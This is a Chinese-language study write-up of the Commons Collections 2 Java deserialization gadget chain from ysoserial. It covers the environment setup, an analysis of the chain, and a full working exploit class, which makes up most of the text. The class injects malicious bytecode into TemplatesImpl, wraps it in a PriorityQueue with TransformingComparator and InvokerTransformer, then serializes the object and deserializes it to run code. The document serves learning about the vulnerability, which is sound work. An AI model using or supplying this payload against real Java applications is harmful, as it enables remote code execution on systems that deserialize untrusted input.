参考链接

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections2.java

环境搭建

CommonCollections4
jdk8u65

利用链分析

这条链子是利用invokerTransformer触发templates.newTransformer()，进而触发TemplatesImpl代码执行

Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
            ...
                TransformingComparator.compare()
                    InvokerTransformer.transform()
                        Method.invoke()
                            Runtime.exec()

Exp编写

CC3的代码执行+利用CC1执行要触发的函数，注意ysoserial没有用chainedTransformer数组
这也导致方法一使用不了，因为控制不了xxx.transform()里的参数，只能按程序流走，在对应的位置传参

public class TestCC2 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();

        //设置变量，确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
        //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        //用invokerTransformer触发调用函数 = =
//        templates.newTransformer();
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);

        //方法一不行了，因为不用chainedTransformer数组
//        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
//        Field priorityQueueField = priorityQueueClass.getDeclaredField("size");
//        priorityQueueField.setAccessible(true);
//        priorityQueueField.set(priorityQueue,2);
        //方法二：队列里加俩元素，保证size值
        priorityQueue.add(templates);  //这里是跟完程序流发现在这里传参
        priorityQueue.add(2);

        Class<TransformingComparator> transformingComparatorClass = TransformingComparator.class;
        Field transformerField = transformingComparatorClass.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

        serialize(priorityQueue);
        unserialize();


    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}